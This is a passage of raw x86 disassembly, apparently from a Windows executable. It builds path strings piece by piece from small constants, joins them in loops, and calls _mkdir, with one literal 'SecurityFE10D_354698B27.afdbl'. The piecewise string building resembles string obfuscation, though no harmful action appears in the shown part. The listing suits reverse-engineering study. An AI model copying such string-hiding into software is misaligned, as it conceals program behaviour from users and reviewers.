mov byte [esp + 0x6f38], 0xab
call fcn.0040a860
mov eax, 0x4114cc
lea ecx, [esp + 0x5d34]
mov byte [esp + 0x6f38], 0xac
call fcn.0040a860
mov eax, 0x4114bc
lea ecx, [esp + 0x5d50]
mov byte [esp + 0x6f38], 0xad
call fcn.0040a860
mov eax, 0x4114d0
lea ecx, [esp + 0x5d6c]
mov byte [esp + 0x6f38], 0xae
call fcn.0040a860
mov eax, 0x4114f8
lea ecx, [esp + 0x5d88]
mov byte [esp + 0x6f38], 0xaf
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x5da4]
mov byte [esp + 0x6f38], 0xb0
call fcn.0040a860
mov eax, 0x4114cc
lea ecx, [esp + 0x5dc0]
mov byte [esp + 0x6f38], 0xb1
call fcn.0040a860
mov eax, 0x4114d4
lea ecx, [esp + 0x5ddc]
mov byte [esp + 0x6f38], 0xb2
call fcn.0040a860
mov eax, 0x4114d8
lea ecx, [esp + 0x5df8]
mov byte [esp + 0x6f38], 0xb3
call fcn.0040a860
mov eax, 0x4114c4
lea ecx, [esp + 0x5e14]
mov byte [esp + 0x6f38], 0xb4
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x5e30]
mov byte [esp + 0x6f38], 0xb5
call fcn.0040a860
mov eax, 0x4114dc
lea ecx, [esp + 0x5e4c]
mov byte [esp + 0x6f38], 0xb6
call fcn.0040a860
mov eax, 0x4114a4
lea ecx, [esp + 0x5e68]
mov byte [esp + 0x6f38], 0xb7
call fcn.0040a860
mov eax, 0x4114dc
lea ecx, [esp + 0x5e84]
mov byte [esp + 0x6f38], 0xb8
call fcn.0040a860
mov eax, 0x411248
lea ecx, [esp + 0x5ea0]
mov byte [esp + 0x6f38], 0xb9
call fcn.0040a860
mov eax, 0x411248
lea ecx, [esp + 0x5ebc]
mov byte [esp + 0x6f38], 0xba
call fcn.0040a860
mov eax, 0x4114d0
lea ecx, [esp + 0x5ed8]
mov byte [esp + 0x6f38], 0xbb
call fcn.0040a860
mov eax, 0x4114d0
lea ecx, [esp + 0x5ef4]
mov byte [esp + 0x6f38], 0xbc
call fcn.0040a860
mov eax, 0x4114e0
lea ecx, [esp + 0x5f10]
mov byte [esp + 0x6f38], 0xbd
call fcn.0040a860
mov eax, 0x4114e4
lea ecx, [esp + 0x5f2c]
mov byte [esp + 0x6f38], 0xbe
call fcn.0040a860
mov eax, 0x4114a0
lea ecx, [esp + 0x5f48]
mov byte [esp + 0x6f38], 0xbf
call fcn.0040a860
mov eax, 0x4114d8
lea ecx, [esp + 0x5f64]
mov byte [esp + 0x6f38], 0xc0
call fcn.0040a860
mov eax, 0x4114c0
lea ecx, [esp + 0x5f80]
mov byte [esp + 0x6f38], 0xc1
call fcn.0040a860
mov eax, 0x4114c0
lea ecx, [esp + 0x5f9c]
mov byte [esp + 0x6f38], 0xc2
call fcn.0040a860
mov eax, 0x4114cc
lea ecx, [esp + 0x5fb8]
mov byte [esp + 0x6f38], 0xc3
call fcn.0040a860
mov eax, 0x4114e8
lea ecx, [esp + 0x5fd4]
mov byte [esp + 0x6f38], 0xc4
call fcn.0040a860
mov eax, 0x4114ac
lea ecx, [esp + 0x5ff0]
mov byte [esp + 0x6f38], 0xc5
call fcn.0040a860
mov eax, 0x4114ec
lea ecx, [esp + 0x600c]
mov byte [esp + 0x6f38], 0xc6
call fcn.0040a860
mov eax, 0x4114d8
lea ecx, [esp + 0x6028]
mov byte [esp + 0x6f38], 0xc7
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x6044]
mov byte [esp + 0x6f38], 0xc8
call fcn.0040a860
mov eax, 0x4114d8
lea ecx, [esp + 0x6060]
mov byte [esp + 0x6f38], 0xc9
call fcn.0040a860
mov eax, 0x4114ac
lea ecx, [esp + 0x607c]
mov byte [esp + 0x6f38], 0xca
call fcn.0040a860
mov eax, 0x4114f0
lea ecx, [esp + 0x6098]
mov byte [esp + 0x6f38], 0xcb
call fcn.0040a860
mov eax, 0x4114dc
lea ecx, [esp + 0x60b4]
mov byte [esp + 0x6f38], 0xcc
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x60d0]
mov byte [esp + 0x6f38], 0xcd
call fcn.0040a860
mov eax, 0x4114ac
lea ecx, [esp + 0x60ec]
mov byte [esp + 0x6f38], 0xce
call fcn.0040a860
mov eax, 0x4114ac
lea ecx, [esp + 0x6108]
mov byte [esp + 0x6f38], 0xcf
call fcn.0040a860
mov eax, 0x4114f0
lea ecx, [esp + 0x6124]
mov byte [esp + 0x6f38], 0xd0
call fcn.0040a860
mov eax, 0x4114c4
lea ecx, [esp + 0x6140]
mov byte [esp + 0x6f38], 0xd1
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x615c]
mov byte [esp + 0x6f38], 0xd2
call fcn.0040a860
mov eax, 0x4114f4
lea ecx, [esp + 0x6178]
mov byte [esp + 0x6f38], 0xd3
call fcn.0040a860
mov eax, 0x4114f0
lea ecx, [esp + 0x6194]
mov byte [esp + 0x6f38], 0xd4
call fcn.0040a860
mov eax, 0x4114e8
lea ecx, [esp + 0x61b0]
mov byte [esp + 0x6f38], 0xd5
call fcn.0040a860
mov eax, 0x4114ec
lea ecx, [esp + 0x61cc]
mov byte [esp + 0x6f38], 0xd6
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x61e8]
mov byte [esp + 0x6f38], 0xd7
call fcn.0040a860
mov byte [esp + 0x6f38], 0xd8
mov eax, 0x4114b0
lea ecx, [esp + 0x6204]
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x6220]
mov byte [esp + 0x6f38], 0xd9
call fcn.0040a860
mov eax, 0x411484
lea ecx, [esp + 0x623c]
mov byte [esp + 0x6f38], 0xda
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x6258]
mov byte [esp + 0x6f38], 0xdb
call fcn.0040a860
mov eax, 0x4114c4
lea ecx, [esp + 0x6274]
mov byte [esp + 0x6f38], 0xdc
call fcn.0040a860
mov eax, 0x4114ec
lea ecx, [esp + 0x6290]
mov byte [esp + 0x6f38], 0xdd
call fcn.0040a860
mov eax, 0x4114c8
lea ecx, [esp + 0x62ac]
mov byte [esp + 0x6f38], 0xde
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x62c8]
mov byte [esp + 0x6f38], 0xdf
call fcn.0040a860
mov eax, 0x4114f4
lea ecx, [esp + 0x62e4]
mov byte [esp + 0x6f38], 0xe0
call fcn.0040a860
mov eax, 0x4114cc
lea ecx, [esp + 0x6300]
mov byte [esp + 0x6f38], 0xe1
call fcn.0040a860
mov eax, 0x4114ec
lea ecx, [esp + 0x631c]
mov byte [esp + 0x6f38], 0xe2
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x6338]
mov byte [esp + 0x6f38], 0xe3
call fcn.0040a860
mov eax, 0x4114e0
lea ecx, [esp + 0x6354]
mov byte [esp + 0x6f38], 0xe4
call fcn.0040a860
mov eax, 0x41149c
lea ecx, [esp + 0x6370]
mov byte [esp + 0x6f38], 0xe5
call fcn.0040a860
mov eax, esi
lea ecx, [esp + 0x950]
mov byte [esp + 0x6f38], 0xe6
call fcn.0040a860
lea eax, [esp + 0x5b04]
mov byte [esp + 0x6f38], 0xe7
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], 0x4e
mov ecx, dword [esp + 0x1c]
push ebx
push ecx
or eax, 0xffffffff
lea edi, [esp + 0x958]
call fcn.0040bd80
add dword [esp + 0x1c], 0x1c
dec dword [esp + 0x14]
jne 0x405f90
cmp dword [esp + 0x964], 0x10
mov eax, dword [esp + 0x950]
jae 0x405fc3
mov eax, edi
push eax
mov dword [esp + 0x4c], eax
call dword [sym.imp.MSVCR100.dll__mkdir]
add esp, 4
mov eax, 0x4114a0
lea ecx, [esp + 0x4264]
call fcn.0040a860
mov eax, 0x4114a4
lea ecx, [esp + 0x4280]
mov byte [esp + 0x6f38], 0xe8
call fcn.0040a860
mov eax, 0x4114a8
lea ecx, [esp + 0x429c]
mov byte [esp + 0x6f38], 0xe9
call fcn.0040a860
mov eax, 0x4114a4
lea ecx, [esp + 0x42b8]
mov byte [esp + 0x6f38], 0xea
call fcn.0040a860
mov eax, 0x4114f8
lea ecx, [esp + 0x42d4]
mov byte [esp + 0x6f38], 0xeb
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x42f0]
mov byte [esp + 0x6f38], 0xec
call fcn.0040a860
mov eax, 0x4114b4
lea ecx, [esp + 0x430c]
mov byte [esp + 0x6f38], 0xed
call fcn.0040a860
mov eax, 0x4114a8
lea ecx, [esp + 0x4328]
mov byte [esp + 0x6f38], 0xee
call fcn.0040a860
mov eax, 0x4114b4
lea ecx, [esp + 0x4344]
mov byte [esp + 0x6f38], 0xef
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x4360]
mov byte [esp + 0x6f38], 0xf0
call fcn.0040a860
mov eax, 0x4114bc
lea ecx, [esp + 0x437c]
mov byte [esp + 0x6f38], 0xf1
call fcn.0040a860
mov eax, 0x4114c0
lea ecx, [esp + 0x4398]
mov byte [esp + 0x6f38], 0xf2
call fcn.0040a860
mov eax, 0x4114c0
lea ecx, [esp + 0x43b4]
mov byte [esp + 0x6f38], 0xf3
call fcn.0040a860
mov eax, 0x4114a8
lea ecx, [esp + 0x43d0]
mov byte [esp + 0x6f38], 0xf4
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x43ec]
mov byte [esp + 0x6f38], 0xf5
call fcn.0040a860
mov byte [esp + 0x6f38], 0xf6
mov eax, 0x4114c4
lea ecx, [esp + 0x4408]
call fcn.0040a860
mov eax, 0x411480
lea ecx, [esp + 0x4424]
mov byte [esp + 0x6f38], 0xf7
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x4440]
mov byte [esp + 0x6f38], 0xf8
call fcn.0040a860
mov eax, 0x4114c8
lea ecx, [esp + 0x445c]
mov byte [esp + 0x6f38], 0xf9
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x4478]
mov byte [esp + 0x6f38], 0xfa
call fcn.0040a860
mov eax, 0x4114cc
lea ecx, [esp + 0x4494]
mov byte [esp + 0x6f38], 0xfb
call fcn.0040a860
mov eax, 0x4114bc
lea ecx, [esp + 0x44b0]
mov byte [esp + 0x6f38], 0xfc
call fcn.0040a860
mov eax, 0x4114d0
lea ecx, [esp + 0x44cc]
mov byte [esp + 0x6f38], 0xfd
call fcn.0040a860
mov eax, 0x4114ac
lea ecx, [esp + 0x44e8]
mov byte [esp + 0x6f38], 0xfe
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x4504]
mov byte [esp + 0x6f38], 0xff
call fcn.0040a860
mov eax, 0x4114cc
lea ecx, [esp + 0x4520]
mov dword [esp + 0x6f38], 0x200
call fcn.0040a860
mov eax, 0x4114d4
lea ecx, [esp + 0x453c]
mov byte [esp + 0x6f38], 1
call fcn.0040a860
mov eax, 0x4114d8
lea ecx, [esp + 0x4558]
mov byte [esp + 0x6f38], 2
call fcn.0040a860
mov eax, 0x4114c4
lea ecx, [esp + 0x4574]
mov byte [esp + 0x6f38], 3
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x4590]
mov byte [esp + 0x6f38], 4
call fcn.0040a860
mov eax, 0x4114dc
lea ecx, [esp + 0x45ac]
mov byte [esp + 0x6f38], 5
call fcn.0040a860
mov eax, 0x4114a4
lea ecx, [esp + 0x45c8]
mov byte [esp + 0x6f38], 6
call fcn.0040a860
mov eax, 0x4114dc
lea ecx, [esp + 0x45e4]
mov byte [esp + 0x6f38], 7
call fcn.0040a860
mov eax, 0x411248
lea ecx, [esp + 0x4600]
mov byte [esp + 0x6f38], 8
call fcn.0040a860
mov eax, 0x411248
lea ecx, [esp + 0x461c]
mov byte [esp + 0x6f38], 9
call fcn.0040a860
mov eax, 0x4114d0
lea ecx, [esp + 0x4638]
mov byte [esp + 0x6f38], 0xa
call fcn.0040a860
mov eax, 0x4114d0
lea ecx, [esp + 0x4654]
mov byte [esp + 0x6f38], 0xb
call fcn.0040a860
mov eax, 0x4114e0
lea ecx, [esp + 0x4670]
mov byte [esp + 0x6f38], 0xc
call fcn.0040a860
mov eax, 0x4114e4
lea ecx, [esp + 0x468c]
mov byte [esp + 0x6f38], 0xd
call fcn.0040a860
mov eax, 0x4114a0
lea ecx, [esp + 0x46a8]
mov byte [esp + 0x6f38], 0xe
call fcn.0040a860
mov eax, 0x4114d8
lea ecx, [esp + 0x46c4]
mov byte [esp + 0x6f38], 0xf
call fcn.0040a860
mov eax, 0x4114c0
lea ecx, [esp + 0x46e0]
mov byte [esp + 0x6f38], 0x10
call fcn.0040a860
mov eax, 0x4114c0
lea ecx, [esp + 0x46fc]
mov byte [esp + 0x6f38], 0x11
call fcn.0040a860
mov eax, 0x4114cc
lea ecx, [esp + 0x4718]
mov byte [esp + 0x6f38], 0x12
call fcn.0040a860
mov eax, 0x4114e8
lea ecx, [esp + 0x4734]
mov byte [esp + 0x6f38], 0x13
call fcn.0040a860
mov eax, 0x4114ac
lea ecx, [esp + 0x4750]
mov byte [esp + 0x6f38], 0x14
call fcn.0040a860
mov eax, 0x4114ec
lea ecx, [esp + 0x476c]
mov byte [esp + 0x6f38], 0x15
call fcn.0040a860
mov eax, 0x4114d8
lea ecx, [esp + 0x4788]
mov byte [esp + 0x6f38], 0x16
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x47a4]
mov byte [esp + 0x6f38], 0x17
call fcn.0040a860
mov eax, 0x4114d8
lea ecx, [esp + 0x47c0]
mov byte [esp + 0x6f38], 0x18
call fcn.0040a860
mov eax, 0x4114ac
lea ecx, [esp + 0x47dc]
mov byte [esp + 0x6f38], 0x19
call fcn.0040a860
mov eax, 0x4114f0
lea ecx, [esp + 0x47f8]
mov byte [esp + 0x6f38], 0x1a
call fcn.0040a860
mov eax, 0x4114dc
lea ecx, [esp + 0x4814]
mov byte [esp + 0x6f38], 0x1b
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x4830]
mov byte [esp + 0x6f38], 0x1c
call fcn.0040a860
mov eax, 0x4114ac
lea ecx, [esp + 0x484c]
mov byte [esp + 0x6f38], 0x1d
call fcn.0040a860
mov eax, 0x4114ac
lea ecx, [esp + 0x4868]
mov byte [esp + 0x6f38], 0x1e
call fcn.0040a860
mov eax, 0x4114f0
lea ecx, [esp + 0x4884]
mov byte [esp + 0x6f38], 0x1f
call fcn.0040a860
mov eax, 0x4114c4
lea ecx, [esp + 0x48a0]
mov byte [esp + 0x6f38], 0x20
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x48bc]
mov byte [esp + 0x6f38], 0x21
call fcn.0040a860
mov eax, 0x4114f4
lea ecx, [esp + 0x48d8]
mov byte [esp + 0x6f38], 0x22
call fcn.0040a860
mov eax, 0x4114f0
lea ecx, [esp + 0x48f4]
mov byte [esp + 0x6f38], 0x23
call fcn.0040a860
mov eax, 0x4114e8
lea ecx, [esp + 0x4910]
mov byte [esp + 0x6f38], 0x24
call fcn.0040a860
mov eax, 0x4114ec
lea ecx, [esp + 0x492c]
mov byte [esp + 0x6f38], 0x25
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x4948]
mov byte [esp + 0x6f38], 0x26
call fcn.0040a860
mov byte [esp + 0x6f38], 0x27
mov eax, 0x4114b0
lea ecx, [esp + 0x4964]
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x4980]
mov byte [esp + 0x6f38], 0x28
call fcn.0040a860
mov eax, 0x411484
lea ecx, [esp + 0x499c]
mov byte [esp + 0x6f38], 0x29
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x49b8]
mov byte [esp + 0x6f38], 0x2a
call fcn.0040a860
mov eax, 0x4114c4
lea ecx, [esp + 0x49d4]
mov byte [esp + 0x6f38], 0x2b
call fcn.0040a860
mov eax, 0x4114ec
lea ecx, [esp + 0x49f0]
mov byte [esp + 0x6f38], 0x2c
call fcn.0040a860
mov eax, 0x4114c8
lea ecx, [esp + 0x4a0c]
mov byte [esp + 0x6f38], 0x2d
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x4a28]
mov byte [esp + 0x6f38], 0x2e
call fcn.0040a860
mov eax, 0x4114f4
lea ecx, [esp + 0x4a44]
mov byte [esp + 0x6f38], 0x2f
call fcn.0040a860
mov eax, 0x4114cc
lea ecx, [esp + 0x4a60]
mov byte [esp + 0x6f38], 0x30
call fcn.0040a860
mov eax, 0x4114ec
lea ecx, [esp + 0x4a7c]
mov byte [esp + 0x6f38], 0x31
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x4a98]
mov byte [esp + 0x6f38], 0x32
call fcn.0040a860
mov eax, 0x4114e0
lea ecx, [esp + 0x4ab4]
mov byte [esp + 0x6f38], 0x33
call fcn.0040a860
mov eax, 0x41149c
lea ecx, [esp + 0x4ad0]
mov byte [esp + 0x6f38], 0x34
call fcn.0040a860
mov eax, esi
lea ecx, [esp + 0x9c0]
mov dword [esp + 0x6f38], 0x235
call fcn.0040a860
lea edx, [esp + 0x4264]
mov byte [esp + 0x6f38], 0x36
mov dword [esp + 0x1c], edx
mov dword [esp + 0x14], 0x4e
mov edi, edi
mov eax, dword [esp + 0x1c]
push ebx
push eax
or eax, 0xffffffff
lea edi, [esp + 0x9c8]
call fcn.0040bd80
add dword [esp + 0x1c], 0x1c
dec dword [esp + 0x14]
jne 0x4067a0
cmp dword [esp + 0x9d4], 0x10
mov eax, dword [esp + 0x9c0]
jae 0x4067d3
mov eax, edi
push eax
mov dword [esp + 0x5c], eax
call dword [sym.imp.MSVCR100.dll__mkdir]
add esp, 4
mov eax, 0x4114a0
lea ecx, [esp + 0x324c]
call fcn.0040a860
mov eax, 0x4114a4
lea ecx, [esp + 0x3268]
mov byte [esp + 0x6f38], 0x37
call fcn.0040a860
mov eax, 0x4114a8
lea ecx, [esp + 0x3284]
mov byte [esp + 0x6f38], 0x38
call fcn.0040a860
mov eax, 0x4114a4
lea ecx, [esp + 0x32a0]
mov byte [esp + 0x6f38], 0x39
call fcn.0040a860
mov eax, 0x4114ac
lea ecx, [esp + 0x32bc]
mov byte [esp + 0x6f38], 0x3a
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x32d8]
mov byte [esp + 0x6f38], 0x3b
call fcn.0040a860
mov eax, 0x4114b4
lea ecx, [esp + 0x32f4]
mov byte [esp + 0x6f38], 0x3c
call fcn.0040a860
mov eax, 0x4114a8
lea ecx, [esp + 0x3310]
mov byte [esp + 0x6f38], 0x3d
call fcn.0040a860
mov eax, 0x4114b4
lea ecx, [esp + 0x332c]
mov byte [esp + 0x6f38], 0x3e
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x3348]
mov byte [esp + 0x6f38], 0x3f
call fcn.0040a860
mov eax, 0x4114bc
lea ecx, [esp + 0x3364]
mov byte [esp + 0x6f38], 0x40
call fcn.0040a860
mov eax, 0x4114c0
lea ecx, [esp + 0x3380]
mov byte [esp + 0x6f38], 0x41
call fcn.0040a860
mov eax, str.SecurityFE10D_354698B27.afdbl
lea ecx, [esp + 0x339c]
mov byte [esp + 0x6f38], 0x42
call fcn.0040a860
mov eax, 0x4114a8
lea ecx, [esp + 0x33b8]
mov byte [esp + 0x6f38], 0x43
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x33d4]
mov byte [esp + 0x6f38], 0x44
call fcn.0040a860
mov byte [esp + 0x6f38], 0x45
mov eax, 0x4114c4
lea ecx, [esp + 0x33f0]
call fcn.0040a860
mov eax, 0x411480
lea ecx, [esp + 0x340c]
mov byte [esp + 0x6f38], 0x46
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x3428]
mov byte [esp + 0x6f38], 0x47
call fcn.0040a860
mov eax, 0x4114c8
lea ecx, [esp + 0x3444]
mov byte [esp + 0x6f38], 0x48
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x3460]
mov byte [esp + 0x6f38], 0x49
call fcn.0040a860
mov eax, 0x4114cc
lea ecx, [esp + 0x347c]
mov byte [esp + 0x6f38], 0x4a
call fcn.0040a860
mov eax, 0x4114bc
lea ecx, [esp + 0x3498]
mov byte [esp + 0x6f38], 0x4b
call fcn.0040a860
mov eax, 0x4114d4
lea ecx, [esp + 0x34b4]
mov byte [esp + 0x6f38], 0x4c
call fcn.0040a860
mov eax, 0x4114ac
lea ecx, [esp + 0x34d0]
mov byte [esp + 0x6f38], 0x4d
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x34ec]
mov byte [esp + 0x6f38], 0x4e
call fcn.0040a860
mov eax, 0x4114cc
lea ecx, [esp + 0x3508]
mov byte [esp + 0x6f38], 0x4f
call fcn.0040a860
mov eax, 0x4114d4
lea ecx, [esp + 0x3524]
mov byte [esp + 0x6f38], 0x50
call fcn.0040a860
mov eax, 0x4114d8
lea ecx, [esp + 0x3540]
mov byte [esp + 0x6f38], 0x51
call fcn.0040a860
mov eax, 0x4114c4
lea ecx, [esp + 0x355c]
mov byte [esp + 0x6f38], 0x52
call fcn.0040a860
mov eax, 0x4114b4
lea ecx, [esp + 0x3578]
mov byte [esp + 0x6f38], 0x53
call fcn.0040a860
mov eax, 0x4114dc
lea ecx, [esp + 0x3594]
mov byte [esp + 0x6f38], 0x54
call fcn.0040a860
mov eax, 0x4114a4
lea ecx, [esp + 0x35b0]
mov byte [esp + 0x6f38], 0x55
call fcn.0040a860
mov eax, 0x4114dc
lea ecx, [esp + 0x35cc]
mov byte [esp + 0x6f38], 0x56
call fcn.0040a860
mov eax, 0x411248
lea ecx, [esp + 0x35e8]
mov byte [esp + 0x6f38], 0x57
call fcn.0040a860
mov eax, 0x411248
lea ecx, [esp + 0x3604]
mov byte [esp + 0x6f38], 0x58
call fcn.0040a860
mov eax, 0x4114d0
lea ecx, [esp + 0x3620]
mov byte [esp + 0x6f38], 0x59
call fcn.0040a860
mov eax, 0x4114d0
lea ecx, [esp + 0x363c]
mov byte [esp + 0x6f38], 0x5a
call fcn.0040a860
mov eax, 0x4114e0
lea ecx, [esp + 0x3658]
mov byte [esp + 0x6f38], 0x5b
call fcn.0040a860
mov eax, 0x4114e4
lea ecx, [esp + 0x3674]
mov byte [esp + 0x6f38], 0x5c
call fcn.0040a860
mov eax, 0x4114a0
lea ecx, [esp + 0x3690]
mov byte [esp + 0x6f38], 0x5d
call fcn.0040a860
mov eax, 0x4114d8
lea ecx, [esp + 0x36ac]
mov byte [esp + 0x6f38], 0x5e
call fcn.0040a860
mov eax, 0x4114c0
lea ecx, [esp + 0x36c8]
mov byte [esp + 0x6f38], 0x5f
call fcn.0040a860
mov eax, 0x4114c0
lea ecx, [esp + 0x36e4]
mov byte [esp + 0x6f38], 0x60
call fcn.0040a860
mov eax, 0x4114cc
lea ecx, [esp + 0x3700]
mov byte [esp + 0x6f38], 0x61
call fcn.0040a860
mov eax, 0x4114e8
lea ecx, [esp + 0x371c]
mov byte [esp + 0x6f38], 0x62
call fcn.0040a860
mov eax, 0x4114ac
lea ecx, [esp + 0x3738]
mov byte [esp + 0x6f38], 0x63
call fcn.0040a860
mov eax, 0x4114ec
lea ecx, [esp + 0x3754]
mov byte [esp + 0x6f38], 0x64
call fcn.0040a860
mov eax, 0x4114d8
lea ecx, [esp + 0x3770]
mov byte [esp + 0x6f38], 0x65
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x378c]
mov byte [esp + 0x6f38], 0x66
call fcn.0040a860
mov eax, 0x4114d8
lea ecx, [esp + 0x37a8]
mov byte [esp + 0x6f38], 0x67
call fcn.0040a860
mov eax, 0x4114ac
lea ecx, [esp + 0x37c4]
mov byte [esp + 0x6f38], 0x68
call fcn.0040a860
mov eax, 0x4114f0
lea ecx, [esp + 0x37e0]
mov byte [esp + 0x6f38], 0x69
call fcn.0040a860
mov eax, 0x4114dc
lea ecx, [esp + 0x37fc]
mov byte [esp + 0x6f38], 0x6a
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x3818]
mov byte [esp + 0x6f38], 0x6b
call fcn.0040a860
mov eax, 0x4114ac
lea ecx, [esp + 0x3834]
mov byte [esp + 0x6f38], 0x6c
call fcn.0040a860
mov eax, 0x4114ac
lea ecx, [esp + 0x3850]
mov byte [esp + 0x6f38], 0x6d
call fcn.0040a860
mov eax, 0x4114f0
lea ecx, [esp + 0x386c]
mov byte [esp + 0x6f38], 0x6e
call fcn.0040a860
mov eax, 0x4114c4
lea ecx, [esp + 0x3888]
mov byte [esp + 0x6f38], 0x6f
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x38a4]
mov byte [esp + 0x6f38], 0x70
call fcn.0040a860
mov eax, 0x4114f4
lea ecx, [esp + 0x38c0]
mov byte [esp + 0x6f38], 0x71
call fcn.0040a860
mov eax, 0x4114f0
lea ecx, [esp + 0x38dc]
mov byte [esp + 0x6f38], 0x72
call fcn.0040a860
mov eax, 0x4114e8
lea ecx, [esp + 0x38f8]
mov byte [esp + 0x6f38], 0x73
call fcn.0040a860
mov eax, 0x4114ec
lea ecx, [esp + 0x3914]
mov byte [esp + 0x6f38], 0x74
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x3930]
mov byte [esp + 0x6f38], 0x75
call fcn.0040a860
mov byte [esp + 0x6f38], 0x76
mov eax, 0x4114b0
lea ecx, [esp + 0x394c]
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x3968]
mov byte [esp + 0x6f38], 0x77
call fcn.0040a860
mov eax, 0x411484
lea ecx, [esp + 0x3984]
mov byte [esp + 0x6f38], 0x78
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x39a0]
mov byte [esp + 0x6f38], 0x79
call fcn.0040a860
mov eax, 0x4114c4
lea ecx, [esp + 0x39bc]
mov byte [esp + 0x6f38], 0x7a
call fcn.0040a860
mov eax, 0x4114ec
lea ecx, [esp + 0x39d8]
mov byte [esp + 0x6f38], 0x7b
call fcn.0040a860
mov eax, 0x4114c8
lea ecx, [esp + 0x39f4]
mov byte [esp + 0x6f38], 0x7c
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x3a10]
mov byte [esp + 0x6f38], 0x7d
call fcn.0040a860
mov eax, 0x4114f4
lea ecx, [esp + 0x3a2c]
mov byte [esp + 0x6f38], 0x7e
call fcn.0040a860
mov eax, 0x4114cc
lea ecx, [esp + 0x3a48]
mov byte [esp + 0x6f38], 0x7f
call fcn.0040a860
mov eax, 0x4114ec
lea ecx, [esp + 0x3a64]
mov byte [esp + 0x6f38], 0x80
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x3a80]
mov byte [esp + 0x6f38], 0x81
call fcn.0040a860
mov eax, 0x4114e0
lea ecx, [esp + 0x3a9c]
mov byte [esp + 0x6f38], 0x82
call fcn.0040a860
mov eax, 0x41149c
lea ecx, [esp + 0x3ab8]
mov byte [esp + 0x6f38], 0x83
call fcn.0040a860
mov eax, esi
lea ecx, [esp + 0x9f8]
mov byte [esp + 0x6f38], 0x84
call fcn.0040a860
lea ecx, [esp + 0x324c]
mov byte [esp + 0x6f38], 0x85
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x14], 0x4e
mov edx, dword [esp + 0x1c]
push ebx
push edx
or eax, 0xffffffff
lea edi, [esp + 0xa00]
call fcn.0040bd80
add dword [esp + 0x1c], 0x1c
dec dword [esp + 0x14]
jne 0x406fa8
cmp dword [esp + 0xa0c], 0x10
mov eax, dword [esp + 0x9f8]
jae 0x406fdb
mov eax, edi
push eax
mov dword [esp + 0x60], eax
call dword [sym.imp.MSVCR100.dll__mkdir]
add esp, 4
mov eax, 0x4114a0
lea ecx, [esp + 0x29c4]
call fcn.0040a860
mov eax, 0x4114a4
lea ecx, [esp + 0x29e0]
mov byte [esp + 0x6f38], 0x86
call fcn.0040a860
mov eax, 0x4114a8
lea ecx, [esp + 0x29fc]
mov byte [esp + 0x6f38], 0x87
call fcn.0040a860
mov eax, 0x4114a4
lea ecx, [esp + 0x2a18]
mov byte [esp + 0x6f38], 0x88
call fcn.0040a860
mov eax, 0x4114f8
lea ecx, [esp + 0x2a34]
mov byte [esp + 0x6f38], 0x89
call fcn.0040a860
mov eax, 0x4114b0
lea ecx, [esp + 0x2a50]
mov byte [esp + 0x6f38], 0x8a
call fcn.0040a860
mov eax, 0x4114b4
lea ecx, [esp + 0x2a6c]
mov byte [esp + 0x6f38], 0x8b
call fcn.0040a860
mov eax, 0x4114a8
lea ecx, [esp + 0x2a88]
mov byte [esp + 0x6f38], 0x8c
call fcn.0040a860
mov eax, 0x4114b4
lea ecx, [esp + 0x2aa4]
mov byte [esp + 0x6f38], 0x8d
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x2ac0]
mov byte [esp + 0x6f38], 0x8e
call fcn.0040a860
mov eax, 0x4114bc
lea ecx, [esp + 0x2adc]
mov byte [esp + 0x6f38], 0x8f
call fcn.0040a860
mov eax, 0x4114c0
lea ecx, [esp + 0x2af8]
mov byte [esp + 0x6f38], 0x90
call fcn.0040a860
mov eax, str.SecurityFE10D_354698B27.afdbl
lea ecx, [esp + 0x2b14]
mov byte [esp + 0x6f38], 0x91
call fcn.0040a860
mov eax, 0x4114a8
lea ecx, [esp + 0x2b30]
mov byte [esp + 0x6f38], 0x92
call fcn.0040a860
mov eax, 0x4114b8
lea ecx, [esp + 0x2b4c]
mov byte [esp + 0x6f38], 0x93
